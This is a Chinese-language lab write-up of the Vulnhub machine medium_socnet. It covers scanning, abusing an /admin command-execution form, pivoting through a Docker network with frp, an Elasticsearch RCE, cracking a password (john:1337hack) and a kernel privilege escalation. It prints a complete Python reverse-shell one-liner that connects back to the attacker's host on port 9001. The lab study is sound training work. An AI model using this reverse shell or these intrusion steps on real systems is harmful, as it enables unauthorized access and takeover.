Vulnhub打靶-medium_socnet
信息收集
扫描网卡网段,确定靶机IP地址,使用arp-scan -l
可以知道靶机IP是192.168.20.131
,接下来用fscan扫描开放端口
只扫出来了22端口,换nmap扫,指令nmap -O -sV -p- -A 192.168.20.131
扫出来了5000端口,而且是http服务,用python搭的,我们直接网页访问即可
是一个留言系统,针对这种带输入框的,要么打xss,要么打命令执行rce,再不济就是ssti,我们挨个试就完了
发现啥都不行,抓包也没发现其他东西,我们这时候扫一下存不存在后门路径
发现存在admin路由,我们尝试访问一下,看看能发现什么
存在命令执行,我们直接反弹shell即可
反弹shell
在命令执行框中输入反弹shell代码,经过测试,只有下面这种可以成功反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.20.143",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); |
很有可能是这只能执行python的脚本有关,不能单独执行bash命令
成功反弹shell
我们发现在对方的docker中,我们执行ip a
命令,发现ip地址和之前不对
大概率是因为对方处于内网中,网段为172.17.0.3/16
,接下来我们进行内网穿透即可,我们使用frpc进行内网穿透
内网穿透
我们这里尝试使用msf进行接收shell,因为msf能更好的添加内网路由
use exploit/multi/handler |
我们先保存在background中,然后我们开启新的模块去添加路由,如下所示,添加路由失败了,我们只能用代理工具了,这里使用的是frp进行代理
首先在我们的虚拟机上开启服务端,如下所示
用python开启一个web服务,让靶机下载我们的frpc以及frpc.ini,其中frpc.ini中的serverip改成kali的ip即可
成功挂上代理,用fscan扫描存活主机,如下所示
这里不知道为什么可以ping通,但是nmap就是扫不出来,后续参考别人的wp做的
权限横移
通过Elasticsearch 低版本漏洞进行rce,可以直接拿到172.17.0.2主机的root权限
在根目录下发现密码文件,拿去hash破解即可
最后只有这个用户可以登陆
john:1337hack |
我们用ssh连接即可
权限提升
拿到主机的ssh权限后肯定要提升道root权限
由上图可知,sudo提权不存在,我们接下来去找suid提权
我们发现也没有什么很值得利用的点,接下来去看内核版本
版本挺低的,网上可以搜到相关的漏洞
直接把exp下载下来运行即可
gcc编译一下
发现靶机没有gcc文件,只能我们攻击机编译后传输过去,首先我们观察一下这个c文件
我们发现里面会创建一个so文件,而且在执行的时候会调用,所以我们在攻击机上生成的时候要把so文件找到一并传输过去
我们把这一串代码删除即可,因为我们会手动传输到指定位置
locate ofs-lib.so |
然后全部传输到靶机上即可,记住一定要在/tmp目录下操作
给权限执行即可,可以成功拿到root权限
总结
这道题还是有难度的,不仅仅是简单的靶机渗透,带了点内网东西在里面,环境调试起来比较麻烦,认真打下来虽然有些点很恼火,但可以学到一些新的思路,就是在docker里面不一定通过docker逃逸,可以看自己的IP是否改变来判断是不是同一台机子吧